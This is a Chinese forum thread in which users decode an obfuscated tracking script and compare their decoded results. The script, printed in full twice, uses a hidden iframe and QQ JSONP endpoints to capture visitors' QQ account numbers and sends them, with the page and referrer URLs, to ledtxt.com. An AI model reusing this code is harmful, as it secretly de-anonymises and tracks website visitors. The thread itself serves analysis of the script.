window.cfgapi = "http://open.3g.qq.com/checkLoginCallback.json?id=2155&callback=qqUin&_=1400169998841";
window.cfguid = "235";
window.cfgqq = "185313370";
window.cfgurl = "http://www.ledtxt.com/wap/";
var Qin_refer = encodeURIComponent(document.referrer);
var Qin_host = encodeURIComponent(document.location.href);
var Qin_title = encodeURIComponent(document.title);
var nickname = '';
var objT = null;
function SetCookie2(c, d) {
    var b = new Date;
    b.setTime(b.getTime() + 2592E6);
    document.cookie = c + "=" + escape(d) + ";expires=" + b.toGMTString() + ";domain=ledtxt.com;path=/"
}
function GetCookie2(c) {
    c = document.cookie.match(RegExp("(^| )" + c + "=([^;]*)(;|$)"));
    return null != c ? unescape(c[2]) : null
}
function send_qq_to_t(c, d) {
    for (var b = location.search.substring(1).split("&"), e = 0; e < b.length; e++) {
        var a = b[e].indexOf("=");
        if ( - 1 != a) {
            var g = b[e].substring(0, a),
            a = b[e].substring(a + 1);
            "p" == g ? i_uid = a: "u" == g ? i_url = a: "r" == g ? i_referrer = a: "t" == g && (i_title = a)
        }
    }
    var b = window.cfgurl + "?action=saveQQ&do=save",
    b = b + ("&qq=" + encodeURIComponent(c)),
    b = b + ("&nickname=" + encodeURIComponent(d)),
    b = b + ("&srcurl=" + Qin_refer),
    b = b + ("&hosturl=" + Qin_host),
    b = b + ("&hosttitle=" + Qin_title),
    b = b + ("&tm=" + (new Date).getTime()),
    b = b + ("&uid=" + window.cfguid),
    e = document.getElementsByTagName("HEAD").item(0),
    f = document.createElement("script");
    f.type = "text/javascript";
    f.src = b;
    f.readyState ? f.onreadystatechange = function() {
        if ("loaded" == f.readyState || "complete" == f.readyState) f.onreadystatechange = null,
        window.setTimeout(loaddata, 500)
    }: f.onload = function() {
        window.setTimeout(loaddata, 500)
    };
    e.appendChild(f)
}
function unique2(c) {
    for (var d = [], b, e = 0; e < c.length; e++) {
        b = !1;
        for (var a = 0; a < d.length; a++) if (c[e] == d[a]) {
            b = !0;
            break
        }
        b || d.push(c[e])
    }
    return d
}
function scn_sendInfo(c) {
    var d;
    d = "";
    objT = c;
    send_qq_to_t(c.result.items[1].room_url, "");
    d = GetCookie2("_QIN");
    d = null != d ? c.uin + "%2C" + d: c.uin + "%2C";
    d = d.replace(/\%2C/g, ",");
    c = d.split(",");
    c = unique2(c);
    SetCookie2("_QIN", c)
}
function loaddata() {}
function loadrs() {} (function() {
    function c() {
        null == objT && window.setTimeout(d, 500)
    }
    function d() {
        window.img = "<script>function x(c){parent.scn_sendInfo(c);}<\/script><script id='img' src='http://jsonp.ke.qq.com/cgi-bin/course/new_list?callback=x'><\/script>";
        var frameid = "frameImg" + Math.random();
        var o_v_stat_iframe = document.createElement("iframe");
        o_v_stat_iframe.src = "javascript:parent.img;";
        o_v_stat_iframe.id = frameid;
        o_v_stat_iframe.scrolling = "no";
        o_v_stat_iframe.setAttribute("frameborder", "0", 0);
        o_v_stat_iframe.style.width = "0px";
        o_v_stat_iframe.style.height = "0px";
        document.body.appendChild(o_v_stat_iframe)
    }
    function b() {
        try {
            "1026" == data0.err || "1007" == data0.err ? window.setTimeout(d, 1E3) : window.setTimeout(e, 3E3)
        } catch(a) {
            window.setTimeout(e, 3E3)
        }
    }
    function e() {
        var a = document.createElement("script");
        a.type = "text/javascript";
        a.src = "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=" + (new Date).getTime();
        a.readyState ? a.onreadystatechange = function() {
            if ("loaded" == a.readyState || "complete" == a.readyState) a.onreadystatechange = null,
            window.setTimeout(b, 500)
        }: a.onload = function() {
            window.setTimeout(b, 500)
        };
        document.getElementsByTagName("HEAD").item(0).appendChild(a)
    }
    e()
})();插入注释, 然后unescape解密escape加密后的代码,然后用eval执行代码解析,进行了3次unescape/eval解密
var xTBEZj9DoWL = unescape;
    var j5hgOURFv = eval;

解决方案 »

  1.   

    http://blog.csdn.net/superwfei/article/details/38436179看这里,你就明白解密怎么实现的
      

  2.   


    版主大大,我试了一下,为什么和你解密出的QQ不一样(下面红色部分),其他完全一样...
    我解出来的是这个:
    window.cfgapi = "http://open.3g.qq.com/checkLoginCallback.json?id=2155&callback=qqUin&_=1400169998841";
    window.cfguid = "235";
    window.cfgqq = "185764863";
    window.cfgurl = "http://www.ledtxt.com/wap/";
    var Qin_refer = encodeURIComponent(document.referrer);
    var Qin_host = encodeURIComponent(document.location.href);
    var Qin_title = encodeURIComponent(document.title);
    var nickname = '';
    var objT = null;
    function SetCookie2(c, d) {
    var b = new Date;
    b.setTime(b.getTime() + 2592E6);
    document.cookie = c + "=" + escape(d) + ";expires=" + b.toGMTString() + ";domain=ledtxt.com;path=/"
    }
    function GetCookie2(c) {
    c = document.cookie.match(RegExp("(^| )" + c + "=([^;]*)(;|$)"));
    return null != c ? unescape(c[2]) : null
    }
    function send_qq_to_t(c, d) {
    for (var b = location.search.substring(1).split("&"), e = 0; e < b.length; e++) {
    var a = b[e].indexOf("=");
    if ( - 1 != a) {
    var g = b[e].substring(0, a),
    a = b[e].substring(a + 1);
    "p" == g ? i_uid = a: "u" == g ? i_url = a: "r" == g ? i_referrer = a: "t" == g && (i_title = a)
    }
    }
    var b = window.cfgurl + "?action=saveQQ&do=save",
    b = b + ("&qq=" + encodeURIComponent(c)),
    b = b + ("&nickname=" + encodeURIComponent(d)),
    b = b + ("&srcurl=" + Qin_refer),
    b = b + ("&hosturl=" + Qin_host),
    b = b + ("&hosttitle=" + Qin_title),
    b = b + ("&tm=" + (new Date).getTime()),
    b = b + ("&uid=" + window.cfguid),
    e = document.getElementsByTagName("HEAD").item(0),
    f = document.createElement("script");
    f.type = "text/javascript";
    f.src = b;
    f.readyState ? f.onreadystatechange = function() {
    if ("loaded" == f.readyState || "complete" == f.readyState) f.onreadystatechange = null,
    window.setTimeout(loaddata, 500)
    }: f.onload = function() {
    window.setTimeout(loaddata, 500)
    };
    e.appendChild(f)
    }
    function unique2(c) {
    for (var d = [], b, e = 0; e < c.length; e++) {
    b = !1;
    for (var a = 0; a < d.length; a++) if (c[e] == d[a]) {
    b = !0;
    break
    }
    b || d.push(c[e])
    }
    return d
    }
    function scn_sendInfo(c) {
    var d;
    d = "";
    objT = c;
    send_qq_to_t(c.result.items[1].room_url, "");
    d = GetCookie2("_QIN");
    d = null != d ? c.uin + "%2C" + d: c.uin + "%2C";
    d = d.replace(/\%2C/g, ",");
    c = d.split(",");
    c = unique2(c);
    SetCookie2("_QIN", c)
    }
    function loaddata() {}
    function loadrs() {} (function() {
    function c() {
    null == objT && window.setTimeout(d, 500)
    }
    function d() {
    window.img = "<script>function x(c){parent.scn_sendInfo(c);}<\/script><script id='img' src='http://jsonp.ke.qq.com/cgi-bin/course/new_list?callback=x'><\/script>";
    var frameid = "frameImg" + Math.random();
    var o_v_stat_iframe = document.createElement("iframe");
    o_v_stat_iframe.src = "javascript:parent.img;";
    o_v_stat_iframe.id = frameid;
    o_v_stat_iframe.scrolling = "no";
    o_v_stat_iframe.setAttribute("frameborder", "0", 0);
    o_v_stat_iframe.style.width = "0px";
    o_v_stat_iframe.style.height = "0px";
    document.body.appendChild(o_v_stat_iframe)
    }
    function b() {
    try {
    "1026" == data0.err || "1007" == data0.err ? window.setTimeout(d, 1E3) : window.setTimeout(e, 3E3)
    } catch(a) {
    window.setTimeout(e, 3E3)
    }
    }
    function e() {
    var a = document.createElement("script");
    a.type = "text/javascript";
    a.src = "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=" + (new Date).getTime();
    a.readyState ? a.onreadystatechange = function() {
    if ("loaded" == a.readyState || "complete" == a.readyState) a.onreadystatechange = null,
    window.setTimeout(b, 500)
    }: a.onload = function() {
    window.setTimeout(b, 500)
    };
    document.getElementsByTagName("HEAD").item(0).appendChild(a)
    }
    e()
    })();
      

  3.   

    LZ用的什么解密的?我用的是下面两个工具:
    1.EditPlus(带JSFormat插件)
        正则替换、JS代码格式化
    2.IE->F12开发人员工具
        console.log(...)